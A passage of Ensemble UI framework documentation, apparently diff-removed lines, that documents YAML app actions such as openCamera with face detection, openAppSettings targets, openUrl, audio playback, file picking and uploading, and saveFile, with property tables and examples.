Text: - text: onViewGroupResume executed - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: onViewGroupResume1 - - label: Screen2 - icon: - name: input - page: onViewGroupResume2 - - label: Screen3 - icon: - name: settings - page: onViewGroupResume3 - -``` - -### Pushed Screen - -```yaml -View: - styles: - useSafeArea: true - header: - titleText: Overlay - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: This is overlay screen - - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: -``` -### Explanation - -1. **Navigate to Another Screen:** - First, the user clicks the "Go to another screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `overlay`. - - ```yaml - - Button: - label: Go to another screen - onTap: - navigateScreen: - name: overlay - ``` - -2. **Trigger `onViewGroupResume` on the ViewGroup screen:** - On the overlay screen, there’s a button with the label "Go Back." When this button is pressed, the `onViewGroupResume` action is triggered, executing any action provided on ViewGroup screen: - ```yaml - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: - ``` - - -You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) - ---- - -# Action: onViewGroupUpdate - -The `onViewGroupUpdate` action allows users to execute actions when update to the ViewGroup occurs. This action is useful when working with all type of menus. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| Action | ensemble action | Any ensemble action that'll be executed when there's update in ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | - - -## Example: onViewGroupUpdate - -In this example, we use the `onViewGroupUpdate` action to execute when viewGroup is updated. - -### ViewGroup - -```yaml -ViewGroup: - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: onViewGroupupdate1 - - label: Screen2 - icon: - name: input - page: onViewGroupUpdate2 - - label: Screen3 - icon: - name: settings - page: onViewGroupUpdate3 - -``` - -### Action execution View - -```yaml -View: - onViewGroupUpdate: - showDialog: - body: - Text: text - styles: - useSafeArea: true - header: - titleText: Overlay - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: This is overlay screen - - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: -``` -### Explanation - -1. **ViewGroup update:** - First, the user clicks the any menu button, which triggers the `onViewGroupUpdate` action, navigating to selected screen. - - -2. **Trigger `onViewGroupUpdate` on the View screen:** - On the selected screen, the action specified is triggered automatically. Executing the action specified under `onViewGroupUpdate`. - - -You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) - ---- - -# openAppSettings - -Applicable on iOS/Android only. Opens the app settings page where the user can manage app permissions and settings. If `target` (optional) is provided and supported on the current running platform, it will open the specific setting page, otherwise the "Settings" screen will be opened. - -**Inputs**: - -`target (optional)`: the specific setting screen (see below) to open. Defaults to "settings" if not specified. - -### Properties - -| Target | Supported Platforms | Description | -| -------------------------------- | ------------------- | ------------------------------------------------------------- | -| settings | Android, iOS | Open the main settings page | -| accessibility | Android, iOS | Open the accessibility settings | -| bluetooth | Android, iOS | Open the Bluetooth settings | -| date | Android, iOS | Open the date and time settings | -| display | Android, iOS | Open the display settings | -| location | Android, iOS | Open the location settings | -| sound | Android, iOS | Open the sound/audio settings | -| wifi | Android, iOS | Open the WiFi settings | -| security | Android, iOS | Open the security settings | -| hotspot | Android, iOS | Open the personal hotspot settings | -| appSettings | Android, iOS | Open the app-specific settings | -| notification | Android, iOS 16+ | Open the notification settings | -| apn | Android | Open the APN (Access Point Name) settings | -| batteryOptimization | Android | Open the Battery Optimization settings | -| dataRoaming | Android | Open the Data Roaming settings | -| developer | Android | Open the Developer options | -| device | Android | Open the device information settings | -| internalStorage | Android | Open the internal storage settings | -| lockAndPassword | Android | Open the lock screen and password settings | -| nfc | Android | Open the NFC settings | -| memoryCard | Android | Open the memory card settings | -| addAccount | Android | Open the add account screen | -| airplaneMode | Android | Open the airplane mode settings | -| applicationDetails | Android | Open the application details screen | -| applicationNotification | Android | Open the application notification settings | -| applicationSettings | Android | Open the application settings | -| applicationWriteSettings | Android | Open the application write settings | -| batterySaver | Android | Open the battery saver settings | -| captioning | Android | Open the captioning settings | -| cast | Android | Open the cast settings | -| dataUsage | Android | Open the data usage settings | -| appNotificationBubble | Android | Open the app notification bubble settings | -| appNotification | Android | Open the app notification settings | -| search | Android | Open the search settings | -| biometricEnroll | Android | Open the biometric enrollment screen | -| hardwareKeyboard | Android | Open the hardware keyboard settings | -| home | Android | Open the home screen settings | -| ignoreBackgroundDataRestrictions | Android | Open the background data restriction settings | -| inputMethod | Android | Open the input method settings | -| inputMethodSubtype | Android | Open the input method subtype settings | -| locale | Android | Open the locale settings | -| manageAllApplications | Android | Open the manage all applications screen | -| manageApplication | Android | Open the manage application screen | -| manageDefaultApps | Android | Open the manage default apps screen | -| manageExternalSources | Android | Open the manage external sources screen | -| manageOverlay | Android | Open the manage overlay settings | -| vpn | Android | Open the VPN settings | -| wireless | Android | Open the wireless settings | -| icloud | iOS | Open the iCloud settings | -| privacy | iOS | Open the privacy settings | -| cellular | iOS | Open the cellular settings | -| siri | iOS | Open the Siri settings | -| photos | iOS | Open the photos and camera settings | -| keyboard | iOS | Open the keyboard settings | -| general | iOS | Open the general settings | -| about | iOS | Open the about device screen | -| accountSettings | iOS | Open the account settings | -| autoLock | iOS | Open the auto-lock settings | -| battery | iOS | Open the battery settings | -| dictionary | iOS | Open the dictionary settings | -| facetime | iOS | Open the FaceTime settings | -| healthKit | iOS | Open the HealthKit settings | -| music | iOS | Open the music settings | -| keyboards | iOS | Open the keyboards settings (for managing multiple keyboards) | -| languageAndRegion | iOS | Open the language and region settings | -| phone | iOS | Open the phone settings | -| profilesAndDeviceManagement | iOS | Open the profiles and device management screen | -| softwareUpdate | iOS | Open the software update screen | -| storageAndBackup | iOS | Open the storage and backup settings | -| wallpapers | iOS | Open the wallpapers settings | -| subscriptions | iOS 15+ | Open the subscription settings | - ---- - -# openCamera - -`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------- | -| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | -| onComplete | action | Execute an Action after completing capturing media | -| onClose | action | Execute an Action on camera close | -| onCapture | action | Execute an Action on each capture | -| options | object | different options to chose for `openCamera` action. [see properties](#) | -| overlayWidget | widget | Custom overlay Widget to display over camera. | -| loadingWidget | widget | Custom widget to show for loading indicator in camera. | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | -| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | -| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | -| allowFlashControl | boolean | Allow users to control flash options. Default (true). | -| preview | boolean | If set true, users can view captured/selected media. | -| maxCount | number | It used to control number of media that can be captured/selected | -| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | -| minCount | number | It used to control number of media that can be captured/selected | -| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | -| permissionDeniedMessage | string | Set custom message when access to camera is denied | -| nextButtonLabel | string | Set custom label on next button. | -| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](/pages/widget-reference/Icon.md) | -| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](/pages/widget-reference/Icon.md) | -| focusIcon | widget | Set custom icon for focus node. | -| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | -| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | -| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | -| captureOverlay | boolean | If set picture will be cropped according to overlay widget | -| faceDetection | object | Enable face detection. [see properties](#values-for-optionsfacedetection) | - -##### Values for options.assistAngle - -| Property | Type | Description | -| :------------------------- | :----- | :-------------------------------------------- | -| minAngle | number | Minimum angle | -| maxAngle | number | Maximum Angle | -| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | - -##### Values for options.assistSpeed - -| Property | Type | Description | -| :----------------- | :----- | :-------------------------------------------- | -| maxSpeed | number | Maximum speed in km/hr. | -| assistSpeedMessage | number | Custom message to show when condition is hit. | - -##### Values for options.faceDetection - -| Property | Type | Description | -| :------------------------ | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------ | -| enabled | boolean | Enable face detection. | -| message | string | use this pass a message above the camera | -| messageStyle | object | style applied to the message widget | -| showControls | boolean | set false to hide all controls | -| showCaptureControl | boolean | set false to hide capture control icon | -| showFlashControl | boolean | set false to hide flash control control icon | -| showCameraLensControl | boolean | set false to hide camera lens control icon | -| indicatorShape | string | use this to change the shape of the face indicator `circle`, `square` | -| autoDisableCaptureControl | boolean | set true to disable capture control widget when no face is detected | -| autoCapture | boolean | set true to capture image on face detected | -| imageResolution | string | use this to set image resolution `low`, `medium`, `high` | -| defaultFlashMode | string | use this to set initial flash mode `off`, `auto`, `always` | -| performanceMode | string | Use this to set your preferred performance mode. `accurate`, `fast` | -| accuracyConfig | object | Use this to set accuracy config for face detection. Accuracy config is only supported on web. [see properties](#values-for-optionsfacedetectionaccuracyconfig) | - -##### Values for options.faceDetection.accuracyConfig - -> [Note] -> Accuracy config is only supported on web. - -| Property | Type | Description | -| :------------------------- | :----- | :--------------------------------------------------------------------------- | -| detectionThreshold | number | Minimum confidence score required to consider a face detection valid. | -| intersectionRatioThreshold | number | Minimum allowed overlap ratio between the detected face and expected region. | -| extraHeightFactor | number | Additional height factor added to the face bounding box. | -| inputSize | number | Size of the input image used for face detection. | -| landmarkRatio | number | Minimum acceptable alignment accuracy for facial landmarks. | -| frameMargin | number | Margin ratio to ensure face is not too close to frame edges. | -| tiltAngleThreshold | number | Maximum allowed tilt angle of the detected face (in degrees). | -| horizontalCenterTolerance | number | Allowed tolerance for how centered the face must be horizontally. | -| earThreshold | number | Minimum Eye Aspect Ratio (EAR) to detect open eyes. | -| minFaceWidthRatio | number | Minimum ratio of face width relative to the frame. | -| maxFaceWidthRatio | number | Maximum ratio of face width relative to the frame. | -| qualityPassThreshold | number | Minimum quality score required for a face to pass detection. | -| yawLowerThreshold | number | Lower bound of acceptable yaw (left-right head rotation) ratio. | -| yawUpperThreshold | number | Upper bound of acceptable yaw (left-right head rotation) ratio. | - - -**Usage Examples** - - - -```yaml -View: - header: - title: "Action: openCamera" - styles: - scrollableView: true - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Open Camera - onTap: - openCamera: - id: cameraId - - options: - mode: photo - - - Conditional: - conditions: - - if: ${cameraId.files.length > 0} - Carousel: - item-template: - data: ${cameraId.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with options - - - -```yaml -- Button: - label: Camera with options - onTap: - openCamera: - id: cameraId1 - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - maxCount: 2 - mode: photo - -- Conditional: - conditions: - - if: ${cameraId1.files.length > 0} - Carousel: - item-template: - data: ${cameraId1.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with advance options - -- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. -- assistSpeed, show message when phone goes beyond max speed. -- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value - - - -```yaml -- Button: - label: Camera with advance options. - onTap: - openCamera: - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - - assistAngle: - minAngle: 80 - maxAngle: 100 - assistAngleMessage: Please try to keep angle approx. 90 degree. - - assistSpeed: - maxSpeed: 10 - assistSpeedMessage: Please try to speed below 10 km/hr. -``` - - - -`openCamera` also comes with custom overlay widget - -- captureOverlay, crop image according to overlay widget. -- height/width, required to specify the crop area of widget. - - - -```yaml -- Button: - label: Camera with overlay widget. - onTap: - openCamera: - options: - captureOverlay: true - - loadingWidget: - Progress: - display: circular - id: loading - visible: false - - overlayWidget: - Column: - styles: - height: 170 - width: 260 - children: - - Image: - source: https://i.imgur.com/rEYx444.png -``` - - -You can capture and upload to specified API - - - -```yaml - - Button: - label: Capture and upload - onTap: - openCamera: - id: captureMedia - onComplete: - uploadFiles: - id: uploader - files: ${captureMedia.files} - uploadApi: fileUploadApi - fieldName: files - inputs: - url: - - - - Markdown: - text: ${uploader.body} - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - -You can clear previous camera results while recapturing using `cameraId.clear()` - -```yaml -- Button: - label: Clear Previous Result and Capture - onTap: - executeCode: - body: | - captureLatest.clear() - onComplete: - openCamera: - id: captureLatest -``` - -Capture image on face detected - -```yaml -- Button: - label: Open Camera - onTap: - openCamera: - id: cameraWithFaceDetection - options: - initialCamera: front - faceDetection: - enabled: true - autoCapture: false - performanceMode: accurate - accuracyConfig: # accuracyConfig is only supported on web - detectionThreshold: 0.5 - intersectionRatioThreshold: 0.9 - extraHeightFactor: 0.6 - inputSize: 224 - landmarkRatio: 0.95 - frameMargin: 0.05 - tiltAngleThreshold: 6 - horizontalCenterTolerance: 0.08 - earThreshold: 0.25 - minFaceWidthRatio: 0.18 - maxFaceWidthRatio: 0.82 - qualityPassThreshold: 0.8 - yawLowerThreshold: 0.85 - yawUpperThreshold: 1.15 - message: "Align your face in the square" - messageStyle: - color: "#FF0000" - fontSize: 20 - onCapture: - uploadFiles: - id: uploader - files: ${cameraWithFaceDetection.files[0]} - uploadApi: fileUploadApi - fieldName: file - onComplete: - showDialog: - body: - Column: - children: - - TextInput: - value: ${cameraWithFaceDetection.files[0]} - - Image: - source: ${cameraWithFaceDetection.files[0].path} -``` - - -To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. - ---- - -# openPlaidLink - -openPlaidLink action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :-------------------------- | -| linkToken | string | The Plaid Link Token created from /link/token/create endpoint of Plaid. View Plaid's documation [here](https://plaid.com/docs/api/tokens/#linktokencreate). | -| onSuccess | action | This action is triggered when user successfully complete the Plaid Link flow. | -| onEvent | action | This action is triggered when certain events in the Plaid Link flow have occurred, for example, when the user selected an institution. This enables your application to gain further insight into what is going on as the user goes through the Plaid Link flow. | -| onExit | action | This action is triggered when user exits Plaid Link without successfully linking a financial institution, or when an error occurs during Link initialization. | - ---- - -# openUrl - -openUrl action allows users to open external URLs or web links directly from the app, facilitating seamless integration with external content and enhancing the user's browsing experience within the application. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :-------------------------- | -| url | string | The URL to open | -| openInExternalApp | boolean | Open URL in an external app | - -**Example** - -1. This one is simple example related to how one can make use of `openUrl` to open given url inside browser or an external browser app in android or ios. - -```yaml -View: - header: - title: "Action: openUrl" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Form: - styles: { mainAxis: center } - children: - - TextInput: - id: uri - value: "https://ensembleui.com" - - Row: - styles: { gap: 8 } - children: - - Button: - label: Open Url in place - onTap: - openUrl: - url: ${uri.value} -``` - -You can use `openInExternalApp` property, this will open the url in the right app based on the url scheme in native apps. For browser, it doesn't matter - -```yaml -- Button: - label: Open Url in external app - onTap: - openUrl: - url: ${uri.value} - openInExternalApp: true -``` - -2. In this example we will open the default email app depending on the device or OS like on Windows its `Mail`. - -```yaml - - TextInput: - id: email - value: 'mailto: khurram.mahmood@gmail.com' - - Button: - label: Open Url - onTap: - openUrl: - url: ${email.value} -``` - -To learn more about how to use openUrl action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/TnoazbWLihcenxD1NBkr) example. - ---- - -# pauseAudio - -The pauseAudio action allows users to pause an already-playing audio file. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# pickFiles - -pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | -| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | -| allowMultiple | boolean | Allow users to pick multiple files (default False) | -| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | -| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | - - -### Ensemble File object -The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. - - -| Property | Type | Description | -|:---|:---|:---| -| name | string | name of the file, could be null | -| size | integer | size of file in bytes, could be null | -| ext | string | extension of the file, could be null | -| path | string | file path, null on web, available in native mobile app | -| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | - -> [NOTE] -> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. - - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. - ---- - -# playAudio - -The playAudio action allows users to play a given audio file from a URL or asset. It requires a unique ID passed to it so that the audio can be referenced. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the given audio in the future | -| source | string | The source of the audio file. Can be a file name located in assets or can also be a url | -| volume | double | The volume at which audio to play. It should be between `0` and `1` with `0` being no volume and `1` being maximum volume. The default value is `1` | -| balance | double | The balance between both the left and right speakers for stereo audio. It should be between `-1` and `1` with `-1` being completely left speaker and `1` being completely right speaker. The default value is `0` | -| position | integer | The time stamp from which to play audio from. It should be in seconds. The default value is `0` | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - -**Related Actions: [pause-audio](pause-audio.md) [stop-audio](stop-audio.md) [resume-audio](resume-audio.md) [seek-audio](seek-audio.md)** - ---- - -# Pull To Refresh - -Pull to Refresh is a common interaction pattern in mobile app development, allowing users to refresh the content of a view by pulling it down. In Ensemble, you can implement Pull to Refresh using the `onPullToRefresh` event and update the content dynamically. Let's break down the example: - -```yaml - Column: - styles: - scrollable: true - padding: 20 20 200 - gap: 8 - onPullToRefresh: |- - generateRandomNumber(); - item-template: - data: ${ensemble.storage.RandomNumbers} - name: number - template: - Text: - text: ${number} - styles: - backgroundColor: cyan - textAlign: center -Global: |- - //@code - ensemble.storage.RandomNumbers = [8, 3, 5]; - - function generateRandomNumber() { - //..... - } -``` - -onPullToRefresh Event: -`onPullToRefresh`: |- - generateRandomNumber();: -Specifies the callback function (`generateRandomNumber`) to be executed when the user pulls to refresh. This ensures that new random numbers are generated and the list is updated when the user performs a pull-to-refresh gesture. - -Item Template: -`data`: ${ensemble.storage.RandomNumbers}: -Binds the list of random numbers (stored in ensemble.storage.RandomNumbers) to the item template. This data will be used to populate the list. -`name: number`: Sets a reference name for each item in the list. -`text: ${number}`: Binds each Text widget to a specific number in the list, ensuring that the correct data is displayed for each item. - -Global Section (Initialization): -`ensemble.storage.RandomNumbers = [8, 3, 5];`: -Initializes the RandomNumbers array with some initial values. -`generateRandomNumber` function: -Generates new random numbers when called. This function is triggered on pull-to-refresh. - ---- - -# rateApp - -The "Rate Us" functionality is available only for iOS devices when the app is in production. - -```yaml -View: - header: - title: 'Action: RateApp' - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) - - Button: - label: Rate Us - onTap: - rateApp: -``` -The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. - ---- - -# requestNotificationAccess - -requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. - -### Properties - -| Property | Type | Description | -|:-------------| :----- | :--------------------------------------------------------------- | -| onAuthorized | action | Execute an Action when notification permission has been granted | -| onDenied | action | Execute an Action when notification permission has been rejected | - -**Example** - -The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works - - - -```yaml -View: - header: - title: "Action: showNotification" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - requestNotificationAccess: - onAuthorized: - showNotification: - title: A Notification - body: As you can see me working here -``` - - - -When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - -**Output** - -![Alt text](public/images/actions/image-.png) - -![Alt text](public/images/actions/image--2.png) - ---- - -# resumeAudio - -The resumeAudio action allows users to resume a previously paused audio - -### Properties - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the audio that was paused in past. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# saveFile - -The `saveFile` action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| source | string | The source URL of the file | -| blobData | string | Blob data of the file in base64 string | -| type | string | Type of the file which are `image` or `document`. If type is `document` then the action will consider the source or blobData to be of document file and will save the file in the default device document folder | -| onComplete | action | Action to be executed on successful file saving on mobile device and successful downloading on web | -| onError | action | Action to be executed on error saving file | - -**Example** - -#### 1. For `blobData` input: #### - In case the type is image, action will save image in default Pictures path of device, in case of web, it will download the file -```yaml -Button: - onTap: - saveFile: - fileName: 'Test.png' - type: image - blobData: # blob string for image -``` - - In case the type is document, action will save document in default Documents path of device, in case of web, it will download the file -```yaml -In case the type is document, it'll be saved in Documents -Button: - onTap: - saveFile: - fileName: 'Test.pdf' - type: document # pdf, docx, txt - blobData: # blob string for document - onComplete: - showToast: - message: File saved successfuly - onError: - showToast: - message: File saving failed -``` -#### 2. For `source` input: #### -```yaml -Button: - onTap: - saveFile: - fileName: 'Test.pdf' - type: document # pdf, docx, txt - source: https://pdfobject.com/pdf/sample.pdf # source-url for document - onComplete: - showToast: - message: File saved successfuly - onError: - showToast: - message: File saving failed -``` -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9rgeMobpDsSosMoL2Hxv) - ---- - -# seekAudio - -The seekAudio action allows users to pause a already-playing audio file - -### Properties - -| Property | Type | Description | -| :------- | :------ | :--------------------------------------------------------------------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | -| position | integer | The time stamp at which to skip the audio to. It should be in seconds. The default value is `0` | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - 